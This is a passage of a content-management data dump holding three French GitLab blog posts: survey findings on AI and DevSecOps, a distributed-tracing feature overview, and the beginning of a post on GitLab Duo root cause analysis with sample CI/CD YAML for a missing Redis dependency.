Development","fr-fr/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development.yml","fr-fr/blog/meet-gitlab-duo-workflow-the-future-of-ai-driven-development",{"_path":2727,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2728,"content":2734,"config":2741,"_id":2743,"_type":16,"title":2744,"_source":17,"_file":2745,"_stem":2746,"_extension":20},"/fr-fr/blog/3-surprising-findings-from-our-2024-global-devsecops-survey",{"title":2729,"description":2730,"ogTitle":2729,"ogDescription":2730,"noIndex":6,"ogImage":2731,"ogUrl":2732,"ogSiteName":841,"ogType":842,"canonicalUrls":2732,"schema":2733},"Rapport Global DevSecOps 2024 : ce qu’il faut retenir ","Cette année, notre enquête montre comment les entreprises adaptent leurs priorités d'investissement face à la montée en puissance de l'IA.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1751993603/Blog/Hero%20Images/fy25-global-devsecops-report-blog-image.png","https://about.gitlab.com/blog/3-surprising-findings-from-our-2024-global-devsecops-survey","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Rapport Global DevSecOps 2024 : ce qu’il faut retenir \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2024-06-25\",\n      }",{"title":2729,"description":2730,"authors":2735,"heroImage":2731,"date":2736,"body":2737,"category":2738,"tags":2739},[1191],"2024-06-25","[Notre enquête réalisée auprès de plus de 5 000 professionnels DevSecOps dans le monde entier](https://about.gitlab.com/fr-fr/developer-survey/) révèle que les entreprises réévaluent leurs priorités d'investissement à mesure qu'elles adoptent de nouvelles technologies telles que l'IA, tout en cherchant activement à améliorer l'expérience des développeurs et des développeuses. Explorons ensemble trois des résultats les plus surprenants révélés par notre enquête, ainsi que ce qu'ils pourraient signifier pour les équipes DevSecOps en 2024 et au-delà.\n\n## 1. L'IA met en lumière la complexité des chaînes d'outils\n\nCette année, notre étude s'est penchée sur l'impact spécifique de l'IA sur les perceptions des équipes DevSecOps concernant leurs chaînes d'outils actuelles. Les résultats ont été révélateurs, puisqu'il est désormais largement admis que l'IA peut simplifier le développement logiciel. Toutefois, selon notre enquête, les personnes interrogées utilisant actuellement l'IA semblent éprouver davantage de frustration à l'égard de leurs chaînes d'outils que ceux qui n'en utilisent pas.\n\nPrès des trois quarts (74 %) des répondants dont les entreprises utilisent actuellement l'IA pour le développement logiciel ont exprimé leur intention de consolider leur chaîne d'outils, contre 57 % de ceux qui n'y ont pas recours. Cependant, il n'y a pas de différence notable entre les deux groupes en ce qui concerne le nombre d'outils que les personnes interrogées déclarent réellement utiliser. En d'autres termes, les répondants qui utilisent actuellement l'IA n'utilisent pas plus d'outils, mais ont néanmoins un plus grand besoin de consolider leur chaîne d'outils.\n\nQuel est le lien entre l'IA et le besoin accru de consolidation ? Ce phénomène pourrait être attribué au fait que l'utilisation de diverses solutions ponctuelles avec différents modèles d'IA entraîne un chaos difficile à gérer (et à mesurer) tout au long du cycle de développement logiciel. Cela souligne les inefficacités des chaînes d'outils trop complexes et contre-productives. À mesure que les entreprises intensifient leurs investissements dans l'IA, la nécessité de consolider et de simplifier leur chaîne d'outils complexe pour accroître l'efficacité devient de plus en plus indispensable. Lorsque les chaînes d'outils sont simplifiées et rationalisées, les équipes tirent davantage de valeur de l'IA, car son intégration tout au long du cycle de développement logiciel devient alors plus facile.\n\nD'après l'un des répondants, « le trop grand nombre d'outils (y compris des outils d'IA) et les changements de contexte » représentent les plus grands défis du développement logiciel en 2024, tandis qu'un autre a souligné la « complexité du paysage fragmenté des outils à tous les niveaux ». \n\nUne troisième personne interrogee a mentionné les possibilités offertes par l'IA pour aider les équipes à relever les défis de la chaîne d'outils : « L'IA évolue rapidement, et notre chaîne d'outils actuelle peut être considérablement améliorée grâce aux intégrations d'outils basés sur l'IA. Nous devons mieux former les membres de l'équipe, afin qu'ils sachent comment intégrer efficacement l'IA à leurs tâches quotidiennes. »\n\n## 2. L'IA accélère l'intégration des équipes de développement, mais les entreprises restent préoccupées\n\nParallèlement à l'augmentation du nombre d'outils utilisés par les équipes, notre enquête révèle une augmentation significative du temps nécessaire pour l'intégration des développeurs et développeuses. Cette année, 70 % des répondants déclarent qu'il faut plus d'un mois pour les intégrer à l'entreprise avant qu'ils ne deviennent productifs, contre 66 % en 2023.\n\nS'il n'est pas surprenant que les [assistants de chat](https://about.gitlab.com/blog/gitlab-duo-chat-now-generally-available/) et les [suggestions de code](https://about.gitlab.com/blog/top-tips-for-efficient-ai-powered-code-suggestions-with-gitlab-duo/) alimentés par l'IA puissent accélérer l'intégration des équipes de développement, leur impact est spectaculaire. Les répondants qui utilisent l'IA pour le développement logiciel sont beaucoup plus enclins à affirmer que l'intégration des développeurs et développeuses prend généralement moins d'un mois. \n\nMalgré les avantages évidents de l'IA pour l'expérience des équipes de développement, les personnes interrogées ont exprimé quelques inquiétudes quant à son adoption rapide. Plus de la moitié (55 %) des répondants estiment que l'introduction de l'IA dans le cycle du développement logiciel est risquée, et 49 % craignent que l'IA ne les remplace dans leur rôle actuel au cours des cinq prochaines années.\n\nRachel Stephens, Senior Analyst chez RedMonk, indique qu' « Il faut prendre en compte la sécurité psychologique et la culture d'équipe, car elles influencent la façon dont les personnes perçoivent l'IA. Les individus peuvent redouter les implications de l'IA en matière de sécurité ou de confidentialité, mais ils peuvent également avoir l'impression d'être pris de court s'ils pensent que l'IA menace leurs moyens de subsistance. »\n\nSelon nous, la valeur de l'IA réside dans sa capacité à automatiser les tâches répétitives et à optimiser les processus en arrière-plan. Les équipes peuvent ainsi se concentrer sur la résolution de problèmes ambitieux, l'innovation et la création de valeur. Il ne s'agit pas de remplacer l'humain dans le développement logiciel, mais de le compléter. Pour résumer la situation, une personne interrogée lors de notre enquête évoque le fait que son équipe est confrontée au défi d'encourager et de maintenir la créativité, tout en s'appuyant sur l'IA. « N'oublions pas que l'IA est simplement un outil que les personnes créatives utilisent pour éliminer tout ce qui peut nuire à leur productivité. Elle ne remplace en aucun cas la créativité humaine. »\n\n## 3. Le cloud devient la norme\n\nDans notre enquête, le cloud computing est systématiquement identifié comme la priorité d'investissement informatique depuis plusieurs années. En 2022, le cloud computing figurait en deuxième position, après la sécurité. Il a ensuite pris la première place en 2023. Un changement attendu, compte tenu de la pression croissante exercée sur les entreprises pour qu'elles effectuent leur [transformation numérique](https://about.gitlab.com/blog/lockheed-martin-aws-gitlab/).\n\nToutefois, en 2024, l'importance du cloud computing a fortement diminué, se classant à la cinquième position cette année. Il est toutefois clair que le cloud n'a pas perdu toute son importance. En effet, nous avons constaté une augmentation significative du nombre de personnes interrogées qui déclarent exécuter 50 % ou plus de leurs applications dans le cloud. Ce chiffre indique que, bien que le cloud soit toujours critique pour de nombreuses entreprises, il est devenu la norme, alors même que la liste des priorités des équipes techniques et des responsables informatiques continue de s'allonger.\n\nD'après Rachel Stephens, du cabinet d'étude RedMonk, « les entreprises font face à des contraintes financières et doivent donc établir des priorités dans leurs investissements technologiques. Elles choisissent par exemple de réaffecter une partie de leur budget de transformation numérique, mais pas la totalité, à d'autres domaines, telle que l'IA. »\n\n## Téléchargez notre rapport \n\nPour en savoir plus sur l'IA, la sécurité, l'expérience des équipes de développement et bien d'autres sujets, [téléchargez notre rapport Global DevSecOps 2024](https://about.gitlab.com/fr-fr/developer-survey/).","insights",[2740,784,699,673,827],"developer survey",{"slug":2742,"featured":6,"template":683},"3-surprising-findings-from-our-2024-global-devsecops-survey","content:fr-fr:blog:3-surprising-findings-from-our-2024-global-devsecops-survey.yml","3 Surprising Findings From Our 2024 Global Devsecops Survey","fr-fr/blog/3-surprising-findings-from-our-2024-global-devsecops-survey.yml","fr-fr/blog/3-surprising-findings-from-our-2024-global-devsecops-survey",{"_path":2748,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2749,"content":2755,"config":2761,"_id":2763,"_type":16,"title":2764,"_source":17,"_file":2765,"_stem":2766,"_extension":20},"/fr-fr/blog/monitor-application-performance-with-distributed-tracing",{"title":2750,"description":2751,"ogTitle":2750,"ogDescription":2751,"noIndex":6,"ogImage":2752,"ogUrl":2753,"ogSiteName":841,"ogType":842,"canonicalUrls":2753,"schema":2754},"Surveillez les performances de vos applications avec le traçage distribué","Découvrez comment le traçage distribué résout les problèmes de performance des applications en offrant une visibilité de bout en bout et en favorisant une collaboration fluide.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098000/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%288%29_5x6kH5vwjz8cwKgSBh1w11_1750098000511.png","https://about.gitlab.com/blog/monitor-application-performance-with-distributed-tracing","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Surveillez les performances de vos applications avec le traçage distribué\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sacha Guyon\"}],\n        \"datePublished\": \"2024-06-13\",\n      }",{"title":2750,"description":2751,"authors":2756,"heroImage":2752,"date":2758,"body":2759,"category":676,"tags":2760,"updatedDate":1784},[2757],"Sacha Guyon","2024-06-13","Les temps d'arrêt, qu'ils soient causés par des dysfonctionnements ou des problèmes de performance des applications, peuvent avoir des conséquences financières désastreuses pour les entreprises. En effet, l'enquête « Global Server Hardware and Server OS Reliability » publiée en 2022 par [Information Technology Intelligence Consulting](https://itic-corp.com/server-and-application-by-the-numbers-understanding-the-nines/), révèle qu’un temps d'arrêt d’une heure coûterait aux entreprises 301 000 dollars ou plus. Bien souvent, ces problèmes proviennent d'erreurs humaines qui se produisent lors de modifications liées au code ou à la configuration logicielle.\n\nLa résolution de ces incidents exige une collaboration étroite entre les équipes chargées du développement et des opérations. Ces dernières doivent analyser les différents composants du système pour identifier la cause profonde du changement rencontré et rétablir rapidement le système pour qu’il fonctionne à nouveau normalement.\n\nCependant, il n'est pas rare que ces équipes utilisent des outils différents pour concevoir, gérer et surveiller leurs services applicatifs et leur infrastructure. Cela n'est pas sans conséquences, car cette approche entraîne un cloisonnement des données, des changements de contexte inefficaces et une mauvaise communication entre les équipes. Tout ceci allonge ainsi le temps nécessaire à la détection et à la résolution des incidents.\n\nDécouvrez dans cet article tout ce que vous devez savoir sur le traçage distribué, sans oublier notre fonctionnalité de « [Distributed Tracing](https://docs.gitlab.com/ee/development/tracing.html) » (disponible en version bêta), une nouvelle étape vers une offre complète d’[observabilité](https://about.gitlab.com/fr-fr/blog/observability-vs-monitoring-in-devops/ \"DevOps : de la surveillance à l'observabilité\"), intégrée de manière transparente à la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que DevSecOps ?\") de GitLab.\n\n## Une nouvelle ère avec GitLab Observability\n\nGitLab Observability permet aux équipes chargées du développement et des opérations de visualiser et d'analyser les erreurs, les traces, les journaux, ainsi que les indicateurs de performance de leurs applications et de leur infrastructure.\n\nEn intégrant la surveillance des performances des applications directement dans les workflows de livraison de logiciels, nous réduisons les interruptions liées aux changements de contexte, augmentant ainsi la productivité des équipes qui peuvent alors collaborer efficacement au sein d'une plateforme unifiée.\n\nDe plus, GitLab Observability comble le fossé entre le développement et les opérations en fournissant des informations précieuses sur les performances des applications en phase de production. Cela favorise la transparence, le partage d'informations et une meilleure communication entre les équipes. Elles peuvent alors détecter et résoudre plus rapidement et efficacement les bogues et problèmes de performance liés aux changements de code ou de configuration. Ainsi, cela évite que ces problèmes ne se transforment en incidents majeurs susceptibles de nuire aux activités de l'entreprise.\n\n## Qu'est-ce que le traçage distribué ?\n\nAvec le traçage distribué, les ingénieurs peuvent identifier l'origine des problèmes liés à la performance des applications. Une trace correspond à une requête d’un utilisateur unique qui chemine à travers différents services et systèmes. Cela permet aux ingénieurs d'analyser la chronologie de chaque opération et de détecter les erreurs éventuelles au fur et à mesure qu’elles se produisent.\n\nChaque trace est composée d'un ou de plusieurs spans (qui sont des opérations individuelles ou des unités de travail spécifiques). Ces spans contiennent un large éventail de métadonnées telles que le nom, les horodatages, le statut, ainsi que des tags ou des journaux pertinents. En examinant les relations entre les spans, les équipes de développement peuvent comprendre le parcours des requêtes, identifier les goulots d'étranglement en termes de performance, et localiser précisément les problèmes.\n\n### Le traçage distribué dans les microservices\n\nLe traçage distribué est particulièrement utile pour l'[architecture de microservices](https://about.gitlab.com/fr-fr/blog/what-are-the-benefits-of-a-microservices-architecture/ \"Architecture de microservices\"). Dans ce type d'architecture, une seule requête peut impliquer de nombreux appels de services à travers un système complexe. Grâce au traçage distribué, les équipes obtiennent un maximum de visibilité sur cette interaction et peuvent rapidement diagnostiquer et résoudre les problèmes.\n\n![Exemple de traçage distribué (distributed tracing)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098009/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750098009139.png)\n\nPar exemple, cette trace illustre la manière dont une requête utilisateur passe par différents services pour obtenir des recommandations de produits sur un site e-commerce :\n\n- __Action de l’utilisateur.__ Cela correspond à l'action initiale de l'utilisateur. Par exemple, un clic sur un bouton pour demander des recommandations de produits sur une page produit.\n- __Frontend.__ Le frontend envoie une requête au service de recommandation pour obtenir une liste de produits recommandés.\n- __Service de recommandation.__ La requête provenant du frontend est traitée par le service de recommandation, qui génère une liste de produits recommandés.\n- __Service de catalogue.__ Le service de recommandation appelle le service de catalogue pour récupérer les détails des produits recommandés. Une icône d'alerte signale un problème ou un ralentissement à cette étape (par exemple, une réponse lente ou une erreur lors de la récupération des détails des produits).\n- __Base de données.__ Le service de catalogue interroge la base de données pour récupérer les informations détaillées des produits. Ce span montre la requête SQL effectuée dans la base de données.\n\nEn visualisant cette trace de bout en bout, les équipes de développement peuvent identifier les problèmes de performance (comme ici, une erreur au niveau du service de catalogue) et diagnostiquer puis résoudre rapidement les problèmes à travers l'ensemble du système distribué.\n\n![Exemple de trace du parcours utilisateur](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098009/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098009140.png)\n\n## Comment fonctionne le traçage distribué ?\n\nDécouvrez ci-dessous une explication détaillée du fonctionnement du traçage distribué.\n\n### Collectez des données en provenance de n'importe quelle application avec OpenTelemetry\n\nLes traces et les spans peuvent être collectés avec [OpenTelemetry](https://opentelemetry.io/docs/what-is-opentelemetry/ \"Qu'est-ce qu'OpenTelemetry ?\") (un framework d’observabilité open source). Ce dernier prend en charge un large éventail de SDK et de bibliothèques dans les principaux [langages de programmation et frameworks](https://opentelemetry.io/docs/languages/). Ce framework propose une approche indépendante pour la collecte et l'exportation des données de télémétrie, permettant ainsi aux équipes de développement :\n- d'éviter toute dépendance vis-à-vis d’un fournisseur,\n- de choisir librement les outils les plus adaptés à leurs besoins.\n\nDe cette façon, si vous utilisez déjà OpenTelemetry avec un autre fournisseur et que vous souhaitez essayer les fonctionnalités de GitLab, il vous suffit d'ajouter notre point de terminaison à votre fichier de configuration pour nous envoyer vos données.\n\n![Diagramme représentant le workflow du traçage distribué](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098009/Blog/Content%20Images/Blog/Content%20Images/image5_aHR0cHM6_1750098009141.png)\n\n### Ingérez et conservez des données à grande échelle avec des requêtes rapides et en temps réel\n\nL'observabilité implique de stocker et d'interroger d'importants volumes de données, tout en assurant une faible latence pour les analyses en temps réel.\n\nPour répondre à ces exigences, nous avons développé, grâce à ClickHouse et [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ?\"), une [solution de stockage à long terme qui se met à l'échelle horizontalement](https://gitlab.com/gitlab-org/opstrace/opstrace).\n\nCette plateforme open source assure une performance rapide des requêtes et une évolutivité de niveau entreprise, tout en réduisant les coûts.\n\n### Explorez et analysez les traces en toute simplicité\n\nUne interface utilisateur native avancée est essentielle pour une exploration efficace des données. Pour cela, nous avons construit une interface, en commençant par notre Trace Explorer, permettant aux utilisateurs d'examiner les traces et de mieux comprendre les performances de leurs applications :\n\n- __Filtrage avancé.__ Filtrez par service, nom d'opération, statut et intervalle de temps. L'autocomplétion facilite la création des requêtes.\n- __Mise en évidence des erreurs.__ Identifiez facilement les spans contenant des erreurs dans les résultats de recherche.\n- __Métriques RED.__ Visualisez le taux de requêtes, le taux d'erreurs et la durée moyenne depuis un graphique de série temporelle pour toute recherche en temps réel.\n- __Vue chronologique.__ Les traces individuelles sont affichées sous forme de diagramme en cascade, garantissant une vue complète d'une requête distribuée entre les différents services et opérations.\n- __Données historiques.__ Les utilisateurs peuvent interroger les traces remontant jusqu'à 30 jours en arrière.\n\n![Exploration de traces sous forme de graphique de série temporelle](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098009/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750098009141.png)\n\n## Comment nous utilisons le traçage distribué chez GitLab\n\nL'utilisation de nos propres fonctionnalités en interne (aussi appelé Dogfooding) est une valeur fondamentale et une pratique essentielle chez GitLab.\n\nC'est pourquoi, pour répondre aux besoins de nos équipes d'ingénierie et d'opérations, nous avons déjà commencé à utiliser les premières versions du traçage distribué.\n\nÀ travers ces exemples, découvrez comment nos équipes utilisent le traçage distribué :\n\n### Déboguez les erreurs et les problèmes de performance dans GitLab Agent pour Kubernetes\n\nLe groupe « [Environments](https://handbook.gitlab.com/handbook/engineering/development/ops/deploy/environments/) » (équipe responsable des environnements dans la phase de déploiement du cycle de vie DevOps) utilise le traçage distribué pour identifier et résoudre divers problèmes liés à [GitLab Agent pour Kubernetes](https://gitlab.com/gitlab-org/cluster-integration/gitlab-agent \"GitLab Agent pour Kubernetes\") (comme les délais d'attente ou les problèmes de latence élevée).\n\nLes vues « Trace List » et « Trace Timeline » fournissent des informations précieuses permettant aux équipes de traiter ces problèmes efficacement. Ces traces sont ensuite partagées et discutées dans les tickets correspondants, favorisant ainsi une collaboration efficace entre les équipes pour la résolution des problèmes.\n\n### Optimisez le temps d'exécution des pipelines en identifiant les goulots d'étranglement\n\nNotre dépôt principal [exécute plus de 100 000 pipelines chaque mois](https://gitlab.com/gitlab-org/gitlab/-/pipelines/charts). Si le temps d'exécution de ces pipelines variait ne serait-ce que d'une minute, cela pourrait ajouter plus de 2 000 heures de travail, soit l'équivalent de 87 jours supplémentaires. C'est pourquoi, lorsque le code source de GitLab se déploie lentement, son impact est considérable, tant sur notre productivité que sur nos coûts d'exploitation.\n\nPour optimiser le temps d'exécution des pipelines, les [équipes d'ingénierie de la plateforme GitLab](https://handbook.gitlab.com/handbook/engineering/infrastructure/) utilisent un [outil personnalisé](https://gitlab.com/gitlab-com/gl-infra/gitlab-pipeline-trace) qui convertit les pipelines de déploiement GitLab en traces.\n\nAinsi, la vue « Trace Timeline » leur permet de :\n- visualiser en détail la chronologie d'exécution des pipelines complexes\n- repérer les jobs qui ralentissent l'ensemble du processus.\n\nEn identifiant ces goulots d'étranglement, nos équipes peuvent optimiser l'exécution des jobs (par exemple, en accélérant l'échec du job, ou en exécutant davantage de jobs en parallèle), afin d'améliorer l'efficacité globale du pipeline. [Notre script est disponible gratuitement](https://gitlab.com/gitlab-com/gl-infra/gitlab-pipeline-trace), vous pouvez donc l'adapter à vos propres pipelines.\n\n## Testez le traçage distribué sur GitLab\n\n[Participez à notre bêta privée](https://docs.gitlab.com/operations/observability/ \"Testez le traçage distribué sur GitLab\") et testez nos fonctionnalités. Votre contribution nous aidera à développer des outils qui répondent parfaitement à vos besoins et à vos défis. Aidez- nous à façonner l'avenir de l'observabilité au sein de GitLab !\n",[1174,675,827,1067,1766],{"slug":2762,"featured":92,"template":683},"monitor-application-performance-with-distributed-tracing","content:fr-fr:blog:monitor-application-performance-with-distributed-tracing.yml","Monitor Application Performance With Distributed Tracing","fr-fr/blog/monitor-application-performance-with-distributed-tracing.yml","fr-fr/blog/monitor-application-performance-with-distributed-tracing",{"_path":2768,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2769,"content":2775,"config":2782,"_id":2784,"_type":16,"title":2785,"_source":17,"_file":2786,"_stem":2787,"_extension":20},"/fr-fr/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd",{"ogTitle":2770,"schema":2771,"ogImage":2772,"ogDescription":2773,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":2774,"title":2770,"canonicalUrls":2774,"description":2773},"GitLab Duo : l'IA combinée à l'analyse des causes profondes","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Développement de GitLab Duo : l'IA combinée à l'analyse des causes profondes pour réparer les pipelines CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rutvik Shah\"},{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2024-06-06\",\n      }\n                  ","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097321/Blog/Hero%20Images/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25_7JlF3WlEkswGQbcTe8DOTB_1750097321081.png","Découvrez comment nous avons associé une fonctionnalité d'analyse des causes profondes à l'IA pour vous aider à réparer les pipelines CI/CD défectueux.","https://about.gitlab.com/blog/developing-gitlab-duo-blending-ai-and-root-cause-analysis-to-fix-ci-cd",{"title":2776,"description":2773,"authors":2777,"heroImage":2772,"date":2779,"body":2780,"category":697,"tags":2781},"GitLab Duo : l'IA combinée à l'analyse des causes profondes pour réparer les pipelines CI/CD",[2778,2431],"Rutvik Shah","2024-06-06","***L'IA générative marque une avancée majeure dans le domaine du\ndéveloppement logiciel, simplifiant le processus de développement, de\nsécurisation et d'exploitation des logiciels. Notre série d'articles de\nblog, rédigée par nos équipes produit et ingénierie, vous propose un aperçu\nde notre processus de création, de test et de déploiement des\nfonctionnalités d'IA que vous avez besoin d'intégrer dans l'ensemble de\nl'entreprise. Explorez les nouvelles capacités de GitLab Duo et découvrez\ncomment elles aident les équipes DevSecOps à livrer de meilleurs résultats\naux clients.***\n\n\nAvez-vous déjà été contraint d'interrompre votre workflow [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que le DevSecOps ?\"), voire de retarder votre processus de déploiement logiciel, alors que vous cherchiez la cause profonde d'un problème de pipeline [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/benefits-continuous-integration/) ? Traditionnellement, lorsqu'un problème survient au cours du processus de création de logiciels, les développeurs doivent parcourir les fichiers journaux et le résoudre après de multiples essais. [L'analyse des causes profondes de GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/), l'une de nos fonctionnalités alimentées par l'IA, élimine les hypothèses en déterminant la cause profonde de l'échec d'un pipeline CI/CD. \n\n\nDécouvrez dans cet article ce qu’est l'analyse des causes profondes et comment appliquer cette fonctionnalité GitLab Duo alimentée par l'IA à votre workflow DevSecOps.\n\n\n> Vous avez manqué notre événement virtuel à l’occasion du lancement de GitLab 17 ? [Accédez au replay !](https://about.gitlab.com/fr-fr/seventeen/)\n\n\n## Qu’est-ce que l'analyse des causes profondes ?\n\n\nL'analyse des causes profondes de GitLab Duo est une fonctionnalité alimentée par l'IA qui analyse les journaux pour vous aider à identifier une cause profonde et suggère une solution lorsqu'un job log CI/CD échoue.\n\n\nBien qu'elle soit souvent utilisée pour gérer les incidents liés aux produits, ses méthodes et ses pratiques de débogage se retrouvent dans tous les workflows DevSecOps. Lorsque les équipes Ops, les administrateurs et les ingénieurs de plateforme enquêtent sur les échecs de pipeline, ils sont confrontés à des erreurs de déploiement de l'Infrastructure as Code (IaC), à des problèmes liés à [Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/ \"Qu'est-ce que Kubernetes ? \") et [GitOps](https://about.gitlab.com/fr-fr/topics/gitops/ \"GitOps\"), ainsi qu'à de longues traces d'appels détaillant la séquence complète des fonctions ou des méthodes impliquées dans les défaillances.\n\n\nRassemblant les équipes sur une seule interface, la fonctionnalité d'analyse des causes profondes de GitLab Duo fait appel à l'IA pour résumer, analyser et proposer des correctifs afin que les entreprises puissent déployer plus rapidement des logiciels sécurisés.\n\n\nUn pipeline peut échouer pour diverses raisons, notamment des erreurs de syntaxe dans le code, des dépendances manquantes, des échecs de test pendant le processus de compilation, des délais d'attente dépassés lors du déploiement de Kubernetes et de l'IaC, ainsi que de nombreux autres problèmes potentiels. Lorsque de tels échecs se produisent, toute l'équipe a la responsabilité d'examiner minutieusement les logs générés par le pipeline. Ce processus d'examen du job log consiste à vérifier minutieusement les sorties détaillées pour identifier les erreurs spécifiques et les causes profondes de l'échec du pipeline. Par exemple, le pipeline suivant a enregistré plusieurs échecs qui doivent être examinés et corrigés.\n\n\n![Image illustrant plusieurs échecs de jobs](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097332/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097332601.png)\n\n\nLa durée nécessaire pour corriger ces échecs est très variable et grandement influencée par plusieurs facteurs, tels que :\n\n\n* la connaissance du projet par le développeur,\n\n* son niveau d'expérience avec des problèmes similaires,\n\n* son niveau de compétence global en matière de dépannage et de résolution de problèmes dans le contexte du pipeline.\n\n\nL'analyse manuelle peut être extrêmement difficile et chronophage, dans la mesure où les données des journaux se composent de journaux d'applications et de messages système rassemblant de nombreuses sources d'échec potentielles. Un correctif de pipeline typique peut consister en plusieurs itérations et en un changement de contexte. La complexité et la nature non structurée des fichiers journaux illustrent à la perfection la manière dont l'IA générative permet d'accélérer les tâches. L'utilisation de l'IA peut réduire considérablement le temps nécessaire pour identifier et corriger une erreur de pipeline. Elle abaisse également le niveau d'expertise nécessaire pour réparer un pipeline comme celui présenté ci-dessus.\n\n\nRegardez la fonctionnalité d’analyse des causes profondes de GitLab Duo en action :\n\n\n\u003C!-- blank line -->\n\n\n\u003Cfigure class=\"video_container\">\n\n \u003Ciframe src=\"https://www.youtube.com/embed/sTpSLwX5DIs?si=J6-0Bf6PtYjrHX1K\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\n\u003C/figure>\n\n\n\u003C!-- blank line -->\n\n\n## Comment fonctionne l'analyse des causes profondes ?\n\n\n[L'analyse des causes profondes](https://docs.gitlab.com/ee/user/ai_experiments.html#root-cause-analysis) transmet une partie du job log CI/CD à la [passerelle d'IA de GitLab](https://docs.gitlab.com/ee/architecture/blueprints/ai_gateway/). GitLab intègre ce segment dans les limites du token du grand modèle de langage (LLM) et l'associe à un prompt créé en amont afin de fournir des informations sur les raisons possibles de l'échec du job. Le prompt demande également au LLM de fournir un exemple de résolution du job qui a échoué.\n\n\nVoici deux exemples de scénarios où la fonctionnalité d'analyse des causes profondes de GitLab peut vous être utile.\n\n\n#### 1. Analysez une erreur de dépendance Python\n\n\nUne application Python peut importer des modules de package contenant des fonctionnalités qui ne sont pas fournies dans la bibliothèque standard. Le projet « [Challenge - Root Cause Analysis - Python Config](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/root-cause-analysis/challenge-root-cause-analysis-python-config) » met en œuvre une application qui analyse la configuration et initialise une base de données SQLite. Ces deux éléments fonctionnent sans dépendance. Le projet utilise les meilleures pratiques CI/CD avec une mise en cache et un environnement Python. La dernière implémentation de la fonctionnalité ajoute un client de mise en cache Redis et la compilation CI/CD échoue maintenant pour une raison quelconque. \n\n\nGrâce à la fonctionnalité d'analyse des causes profondes de GitLab Duo, vous pouvez immédiatement repérer que le texte `ModuleNotFoundError` signifie que le module n'est pas installé dans l'environnement Python. GitLab Duo suggère également un exemple de correctif : l'installation du module Redis via le gestionnaire de paquets PIP.\n\n\n![Image représentant le message 'modulenotfounderror' et la résolution suggérée par GitLab Duo](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097332/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097332602.png)\n\n\nPour consulter le pipeline défectueux, cliquez sur [ce lien](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/root-cause-analysis/challenge-root-cause-analysis-python-config/-/jobs/6992716398). \n\n\nLe prompt d'analyse des causes profondes de GitLab fournit un résumé du problème, qui semble découler d'un module `redis` manquant. Essayons de le résoudre en installant le module `redis`. Vous pouvez appeler `pip install redis` dans la section `script` du job CI/CD, ou utiliser une approche plus sophistiquée avec le fichier `requirements.txt`. Ce dernier est utile si vous souhaitez avoir une source unique de vérité pour les dépendances installées dans l'environnement de développement et les pipelines CI/CD.\n\n\n```yaml\n\ntest:\n  extends: [.python-req]\n  stage: test \n  before_script:\n    # [🦊] hint: Root cause analysis. # Solution 1: Install redis using pip\n    - pip install redis\n    # Solution 2: Add redis to requirements.txt, use pip\n    - pip install -r requirements.txt \n\n  script:\n    - python src/main.py\n```\n\n\nUne fois la dépendance Python manquante corrigée, le job CI/CD échoue à nouveau. Utilisez une nouvelle fois l'analyse des causes profondes de GitLab et vous constaterez qu'aucun service Redis n'est en cours d'exécution dans le job. Dans GitLab Duo Chat, saisissez le prompt `How to start a Redis service in CI/CD` (Comment démarrer un service Redis dans CI/CD) pour apprendre à configurer l'attribut `services` dans le job CI/CD.\n\n\n![Illustre le prompt indiquant comment démarrer un service Redis](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097333/Blog/Content%20Images/Blog/Content%20Images/image6_aHR0cHM6_1750097332602.png)\n\n\nModifiez le fichier `.gitlab-ci.yml` avec le job `test` et indiquez le service `redis`.\n\n\n```yaml\n\ntest:\n  extends: [.python-req]\n  stage: test \n  before_script:\n    # [🦊] hint: Root cause analysis.\n    # Solution 1: Install redis using pip\n    - pip install redis\n    # Solution 2: Add redis to requirements.txt, use pip\n    - pip install -r requirements.txt \n\n  script:\n    - python src/main.py\n\n  # Solution 3 - Running Redis\n  services:\n    - redis\n```\n\n\nL'exécution du serveur Redis vous permet 